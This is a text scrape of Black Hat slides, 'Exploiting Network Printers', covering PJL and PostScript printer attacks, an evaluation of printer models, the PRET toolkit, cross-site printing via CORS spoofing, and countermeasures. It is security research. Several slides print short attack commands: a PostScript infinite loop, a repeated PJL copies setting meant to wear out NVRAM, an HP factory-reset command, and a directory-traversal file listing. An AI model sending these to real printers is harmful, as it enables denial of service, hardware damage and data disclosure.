Top Banner
Exploiting Network Printers Jens Müller , Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk
41

Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

May 11, 2018

Download

Documents

doannga
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

Exploiting Network Printers

Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

Page 2: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1

Why printers?

Page 3: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1987 20172

Evolution

Page 4: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

3

Yet another T in the IoT?

Page 5: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Systematization of printer attacks

• Evaluation of 20 printer models

• PRinter Exploitation Toolkit (PRET)

• Novel attacks beyond printers

• New research directions

4

Contributions

Page 6: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1. Background

2. Attacks

3. Evaluation

4. PRET

5. Beyond printers

6. Countermeasures

5

Overview

Page 7: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1. Printing channel (USB, network, …)

2. Printer language (PJL, PostScript, …)6

How to print?

Page 8: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

7

What to attack?

PrintingUnit

Printer USB

RAW

IPP

LPD

SMB

PJLInterpreter

PostScriptInterpreter

FurtherInterpreter(PCL, PDF, …)

Page 9: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Printer Job Language

• Manages settings like output tray or paper size

@PJL SET PAPER=A4

@PJL SET COPIES=10

@PJL ENTER LANGUAGE=POSTSCRIPT

• NOT limited to the current print job

8

PJL

Page 10: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Invented by Adobe (1982 – 1984)

• Heavily used on laser printers

• Turing complete language

9

PostScript

Page 11: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1. Background

2. Attacks

3. Evaluation

4. PRET

5. Beyond printers

6. Countermeasures

10

Overview

Page 12: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Is your copy room always locked?

11

Attacker model: Physical access

Page 13: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Who would connect a printer to the Internet?

12

Attacker model: Network access

Page 14: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

13

Attacker model: Network access

Attacker(Insider)

Attacker

Page 15: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

14

Attacker model: Web attacker

Carrier

Attacker(Website)

Page 16: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Denial of service

• Protection bypass

• Print job manipulation

• Information disclosure

15

Four classes of attacks

Page 17: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Postscript infinite loop

{} loop

16

Denial of service

Page 18: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

16

Next level DoS

Page 19: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• NVRAM has limited # of write cycles

• Can be set in print jobs themselves!

• Continuously set long-termvalue for number of copies

@PJL DEFAULT COPIES=X

17

Physical damage

Page 20: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Reset to factory defaults

• Can be done with a print job (HP)

@PJL DMCMD ASCIIHEX=

"040006020501010301040106"

17

Protection bypass

Page 21: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Redefinition of Postscript showpage operator

18

Print job manipulation

Page 22: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• Access to memory

• Access to file system

• Capture print jobs

Save on file system or in memory

19

Information disclosure

Page 23: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

20

Attacker model: Web attacker

Carrier

Attacker(Website)

Page 24: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

21

Same-origin policy

Carrier

evil.org internal.bank.com

Page 25: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

22

CORS spoofing

Carrier

evil.org

JavaScript (PS file)

(HTTP/1.0 OK) print(Access-Control-Allow-Origin: evil.org) print…

printer.bank.com:9100

Page 26: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1. Background

2. Attacks

3. Evaluation

4. PRET

5. Beyond printers

6. Countermeasures

23

Overview

Page 27: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• How would you proceed?

Our approach: Contacted university system administrators

24

Obtaining printers

Page 28: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

25

Printers. Lots of printers

Page 29: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

26

Evaluation results

Page 30: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

Overview

1. Background

2. Attacks

3. Evaluation

4. PRET

5. Beyond printers

6. Countermeasures

27

Overview

Page 31: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

Translator

PJL PostScript

PRET

Result

/str 256 string def (%*%../../../*) {==} str filenameforall

PostScript Request

PJL Request

PJL Response

(%disk0%../../../ init)(%disk0%../../../.profile)(%disk0%../../../tmp)

Postscript Response

init TYPE=FILE SIZE=1276.profile TYPE=FILE SIZE=834tmp TYPE=DIR

@PJL FSDIRLIST NAME="0:\..\..\" ENTRY=1 COUNT=3User command

- 834 .profile- 1276 initd - tmp

ConnectorAttacker

ls

28

PRinter Exploitation Toolkit (PRET)

Page 32: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

29

PRET commands

Page 33: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1. Background

2. Attacks

3. Evaluation

4. PRET

5. Beyond printers

6. Countermeasures

30

Overview

Page 34: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

31

Google Cloud Print

Target: Google

Attacker

Converting PostScript = interpreting PostScript

Page 35: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

• PS conversion websites

• Image conversion sites

• Thumbnail preview

32

PostScript in the web?

Page 36: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

1. Background

2. Attacks

3. Evaluation

4. PRET

5. Beyond printers

6. Countermeasures

33

Overview

Page 37: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

34

Countermeasures

Page 38: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

“Hacker Stackoverflowin made 160,000 printers spewout ASCII art around the world” -- theregister.co.uk

35

Do not connect printers to the Internet

Page 39: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

Employees: always lock the copy room

Administrators: sandbox printers in aVLAN accessible only via print server

Printer vendors: undo insecure designdecisions (PostScript, proprietary PJL)

Browser vendors: block port 9100

36

Countermeasures

Page 40: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

Christian Slater was right: Printers are insecure

• PostScript and PJL considered dangerous

• Exploitation through lots of channels(websites, even ☺)

• No real countermeasures yet

37

Black Hat sound bytes

Page 41: Exploiting Network Printers - Black Hat · Exploiting Network Printers Jens Müller, Vladislav Mladenov, Juraj Somorovsky, Jörg Schwenk

PRET („Printer Exploitation Toolkit“)

https://github.com/RUB-NDS/PRET

Hacking Printers Wiki

http://hacking-printers.net/

Questions?38

Thanks for your attention...